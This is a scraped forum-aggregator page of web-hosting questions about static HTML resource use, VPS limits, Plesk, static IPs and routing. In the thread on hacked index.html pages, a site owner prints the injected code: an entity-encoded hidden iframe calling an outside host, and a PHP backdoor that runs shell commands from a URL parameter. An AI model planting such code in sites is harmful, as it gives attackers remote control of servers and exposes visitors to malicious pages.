Static HTML Resource Usage

Oct 21, 2008

I've been running website for several years, however, there's one thing that I've never quite figured, most likely because I haven't gone over to dedicated/vps yet.

How much memory would a static 10kb HTML use or for that matter a PHP page (static)?

I know it's quite a broad question, but I'm asking this as I might start a project and this one page may receive many hits. Oh and, would the memory usage go up if I have embedded objects from an outside source (e.g. embedded Youtube videos)?

View 6 Replies


ADVERTISEMENT

10 Second Lag Serving Static HTML

Mar 21, 2007

this isn't my server, so I don't have a lot of information about it, other than it's a Linux/Apache Dedicated server at EV1. (cPanel/WHM)

There are other sites on the server, and they are running fine.

One site has a terrible lag. It takes about 10 seconds to serve up a static HTML file..

Now, it's not like the server is slow. It's like this: You request a small HTML file. The site sits and thinks about it for about 10 seconds, and then after that everything processes quickly.

The forum on the site is the same way. Everything you click on works fine and loads quickly after that initial delay passes.

Is there a common configuration problem that might be causing this?

If you want to see this phenomenon, here are a few test files:
[url]
[url]
[url]
[url]

View 7 Replies View Related

Totally Static HTML Content Hosting

Oct 7, 2009

I'm configuring an VPS that's going to serve all static stuff and absolutely no dynamic scripts at all.

What could be the bottle necks with all these static content websites? Can a 256MB VPS handle a static website receiving millions of page views a month?

View 1 Replies View Related

Mirror/Mirroring Site Hosting/aka: Impressed At Ability Of Cheap Hardware To Serve Static HTML

Nov 5, 2009

We recently began to mirror a large number of open source projects with a dedicated mirror server on our network and I was surprised not only with how popular the mirror server has become, is, but also of the ability of the hardware we're using to keep up with the load.

At an given time, the mirror seems to be pushing at least 50 Megabits of trafficthe server is also an IRC server (irc.igsobe.com) for customers and internal staff communications.

The hardware is a low end Dell Pentium 4 @ 2.66 GHZ server, running with 512MB of RAM and a 400 GB ATA hard drive. CentOS v5.3 is the operating system.

If you're interested, you can view the HTML logfile analysis here but that doesn't tell the full story as FTP users make up a good portion of the traffic. We've received over a quarter million hits in the first few days of November alone.

18:14:15 up 65 days, 9:04, 5 users, load average: 0.31, 0.69, 0.56

The only change that I made to the default configuration was lowering the maximum number of Apache servers to 128.

Just thought I'd share this information as I wouldn't have thought a server with such a small amount of RAM would be able to serve up so much data, even though we are talking strictly static HTML files.

I'll definitely keep this in mind when clients ask me for those "what type of dedicated server should I use for XXX" type discussions that are had all too often with clients.

View 0 Replies View Related

Causes Of High Resource Usage

Oct 17, 2007

I am running a youtube clone on a VPS with 512mb ram at Lunarpages.

Whenever I log into Plesk, I find that my system usage is extremely high. 90%++ even up to 100%. However my CPU usage is often less than 5%.

This problem often occurs when there is slightly more visitors on my site. I am talking about only 30++ visitors and this problem will occur and my site slows to a crawl and I have to restart the VPS.

The script or the server?

View 13 Replies View Related

Resource Usage For Downloads

May 11, 2008

I am wondering if simultaneous downloads could take up a lot of CPU/Ram usage? Could a celeron server with 512MB handle simultaneous downloads and how many users can it support simultaneously? The server will be serving as a pure download, no database, no php, no cgi, no nothing. And what is the highest mbps this server could potentially reach?

View 6 Replies View Related

Kill High Resource Usage

Apr 19, 2007

I have seen posts that some hosts suspend a user after they so many seconds of high server resource usage... I was wondering how this is done so that I can do this on my dedicated server.

View 1 Replies View Related

Excessive Resource Usage: Dbus (2015)

Nov 20, 2008

Excessive resource usage: dbus (2015)

I get below alarm from lfd
Quote:

Time: Sun Sep 28 12:16:06 2008 +0200
Account: dbus
Resource: Process Time
Exceeded: 134303 > 1800 (seconds)
Executable: /bin/dbus-daemon
The file system shows that this executable file that the process is running has been deleted. This typically happens if the original file has been replaced by a new file when the application is updated. To prevent this being reported again, restart the process that runs this excecutable file.
Command Line: dbus-daemon --system
PID: 2015
Killed: No

How can I find which process runs this excecutable file ?

View 1 Replies View Related

Plesk 12.x / Linux :: Where Does Resource Usage Get Its Information

Nov 26, 2014

I recently migrated a load of domains from a pleks 8.? install to a plesk 12 one. As part of the migration a new reseller was created but all the resellers domains got "lost". They were all there and working but not appearing in the interface.

I did some googleing and fixed this problem and can now see all the domains and when I look at the reseller plesk tells me it has 0 own customers, 0 own plans and 0 own subscriptions. However, if I look at the resources tab it tells me that 7 domains out of unlimited are being used.I just wondered where plesk get's that info from and if it is safe to delete that reseller without risking the domains getting deleted too.

View 1 Replies View Related

Static Index.html Pages Hacked, Also Index Files

Sep 8, 2007

My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.

I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).

Going back on track, all files named "%index%" were hacked.

-I found a index.txt file with links to obscure sites.

The code was written at bottom of the all index.html files: iframe code

Code:
><!-- ~ --><iframe src="&#104&#116&#116&#112&#58&#47&#47&#103&#111&#111&#103&#108&#101&#116&#114&#97&#102&#102&#46&#99&#111&#109&#47&#105&#110&#46&#99&#103&#105&#63&#100&#101&#102&#97&#117&#108&#116" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code

PHP Code:

<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

");$wr = 0;while(!feof($socket)){  $temp = fgets($socket);    if(eregi("<",$temp)) {      $wr = 1;        }                      if($wr) {              $page .= $temp;                }                }                fclose($socket);                                return $page;                }                                ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...

View 5 Replies View Related

Dreamhost PS High Resource Usage Problem, Is It SCAM?

Dec 27, 2008

I upgraded my hosting to DreamHost PS (http://www.dreamhost.com/hosting-vps.html) about 7 days ago, and after 3 days of evaluation i find no interest about it and decided to downgrade. But they rejected my request saying that the resource is too high, then came the long negotiation.
My question now is, would domains parked(not hosted) at dreamhost ate up memory of my PS?
Phase 1: Why didn't anyone warn me before the upgrade?

I wrote:

I found a few unreasonable facts about your statement of rejecting my downgrading request:
1. Dreamhost tempted me to upgrade when I was doing fine with share hosting;

2. Dreamhost didn't warn me with any condition or term of any kind, including downgrading would be rejected if memory reach a certain degree;

3. from the facts stated above, this upgrading thing is a total scam.

##comment: The upgrade took only a click of the button.

And their answer:

I'm sorry to hear you feel this way Ruiz. However, your accounts resource usage is above what will work on shared hosting. If we were to move you back, one of two things would begin to happen:

1 - your domains would affect the stability of the web server, slowing down other customers sites, or taking them down completely

2 - your own sites would begin to fail due to the high resource usage.

As such, we can not move you back until you've brought that usage down. However, I can understand why you would feel the way you do. As such, I'm willing to add a $15/mo subsidy to your PS service. What this means, is that the basic 150MB/MHz you have to pay for will be free, all you will need to pay for would be any resources you allocate beyond the first 150MB. If this is alright, let me know and I'll go ahead and add the subsidy to your account.Phase 2: Why my hosting suddenly ate up so much memory?

I said:

I haven't recieved any email mentioning that my domains are using too much resource BEFORE THE UPGRADE for almost ONE WHOLE YEAR, how come suddenly they are? Is it some kind of malfunction or misconfiguration of your PS that causes the problem? If it is, why should I pay for it?

They answered:

It isn't a "sudden" issue. Your sites have been using whatever resources they need for as long as you've been on the PS. It appears you've had spikes as high as 600MB of memory in your usage, and if you look at your graph over the last month: ...

View 14 Replies View Related

Plesk Automation :: Resource Usage On Disk Space Is Not Calculated

Mar 17, 2014

I'm on PPA 11.5 MU#2 (Should upgrade to MU#3 soon). My problem is that the Usage of Disk Space for all my customers subscriptions are not calculated. I've run the daily maintenance script (which it actually runs periodically), but there's no update on the display.

View 3 Replies View Related

Plesk 12.x / Windows :: Limit Reseller Self-created Service Plan Resource Usage

Jan 23, 2015

When a reseller create a service plan themselves...is there any way to limit the CPU and memory setting for the application pool to recycle on their own created plan?

View 2 Replies View Related

How To Limit Html Parsing To .htm, .html Files Only

Jan 10, 2007

My webserver treat ALL files with html tags inside as html files, e.g. text files or EVEN files without extension.

How to only allow .htm, .html files?

I've deactivated temporary mime magic, I also tried with some RemoveHandler, AddType lines but nothing

View 9 Replies View Related

.ASP (STATIC)

Oct 29, 2007

Another similar kind of question

I want to run .asp pages on a windows server where i am currently running .HTML files (STATIC without any script or database). I want convert those .html pages to .asp (without any scripts).


So WHAT DO YOU THINK, that .html (static) should work exactly same like .asp (Static) ? Suppose .html pages DO NOT CREATE any issue with IIS load , so using same (basic html code) in .asp would create any issue with APPLICATION POOL (IIS)?

View 3 Replies View Related

How To Get A Static IP Address

Jun 12, 2008

I just discovered that my Internet provider only provides me with a dynamic IP address because its not commercial!

Is there any way or workaround to sign up for a static ip on the web?

View 14 Replies View Related

Static IP: Best Service And How To Use

Oct 18, 2007

My ISP here in the UK does not provide static ip addresses. I'd like to be able to set my server to only accept root access attempts from a set IP.

I am aware of how to set this up on my server, but not on my own machine.

I'd appreciate if anyone recommend the best service to use when seeking a static IP address and also point me in the right direction of documentation that explains how to utilise this IP (connect through it so when connecting to my server it sees the static IP and not my dynamic ISP IP).

I've had a search on WHT and Google but most of the documentation I've encountered is for people who want to run a web server from their home machine and so want a static IP for incoming connections.

I am using a windows machine (xp pro).

View 3 Replies View Related

Forward Domain To Static IP

Jul 2, 2006

i have a domain hosted at eNom which i would like to point to my FTP server which is running on my box at home. I have a static IP, and BulletProof FTP server installed. Now im just unclear how i can have www.mydomain.com point to 212.12.34.56:21.

View 3 Replies View Related

Static File Hosting

Apr 4, 2009

I currently have an existing web hosting package with a web host. However, I need to supplement that with a file hosting service for my users.

I'm estimating that I will need about 2Gb disk space, and approximately 30~40Gb of traffic monthly. This will just be plain static file hosting. I don't need any scripts, databases, etc.

View 11 Replies View Related

Need To Create A Static Route

Apr 9, 2007

Recently two servers of mine have stopped communicating with each other and I've been told to create a static route between the two, I am using CentOS 4.4 and not sure what the exact syntax would be

I also have the gateway IP which would be needed.

View 1 Replies View Related

Static IP Provider And Best Prices

Jan 5, 2007

Is there a difference between static IP's and dedicated IP addresses?

Also I'm in the Atlanta GA region, does anyone have any reccomendations on a bandwidth provider and avarage cost of static IP's?

View 6 Replies View Related

Static Routes Questions

May 18, 2007

I have a small network at my colo provider.

Colo Provider
|
My HP 2650
| |
server1 serverN

I want to setup static routes on my servers so that my colo provider won't bill me for traffic among my servers.

I use FreeBSD 6 on my servers. I read the FreeBSD handbook on this and it looks like i should do this:

route add -net 0.0.0/24 0.0.0.3

where 0.0.0/24 is the C class I have from my provider and 0.0.0.3 is the IP address of my server (one of them/any of them).

However, this route appears to already exist as i get this error when running that route command:

route: writing to routing socket: File exists
add net 0.0.0: gateway 0.0.0.3: route already in table

Do I need to use a non-routeable ip block (eg 192.168.x.x) for this? Can I use "real"/routeable ips? Does FreeBSD take care of this for me automatically?

View 5 Replies View Related

SuPhp Use A Lot Of Resource

May 22, 2008

we are try SuPhp on Cpanel server but seem that is use a lot of resource, on 2 X quad core server we can't add more than 300 domains for server, whic configuration do u use? any alternative solution?

View 7 Replies View Related

Can Vps Limit Cpu Resource

Dec 4, 2008

i know admin can limit the ram and hd resource for each vps account,

but about the cpu,

can admin limit how many percentage or MHz or each vps account?

View 4 Replies View Related

About Server Resource

Nov 27, 2008

how do we know if our blog spent alot of resource on server (shared hosting)? can we monitor it, so if i knew i spent alot of resource i can move to another webhost (maybe VPS) before they suspend my blog?

View 10 Replies View Related

Whats The Point Of Two Static Ip Addresses?

Jan 13, 2009

i don't get why people can have more than one static ip...wouldn't you only need one?

View 14 Replies View Related

Change IP Address DHCP To Static Using Xen VPS

Nov 19, 2008

I'm using XEN to setup my VPS. The installation have no problem for the first two server. On the 3rd server, I install using DHCP IP and it's ok.The problem is when I change the DHCP IP to static IP .

Using Centos 5.2, I'm using vi to edit /etc/sysconfig/network-scripts/ifcfg-eth0
and restart the network service network restart, the IP change, but outside or other static IP VPS network can't ping to this server.

I've tried to change the /etc/xen/the-host-config to include the IP . the results is still the same. Is there some script or way I can use to bridge this new 3rd server to the Xen host ant other network?

* I've restart the Xen server.

View 8 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved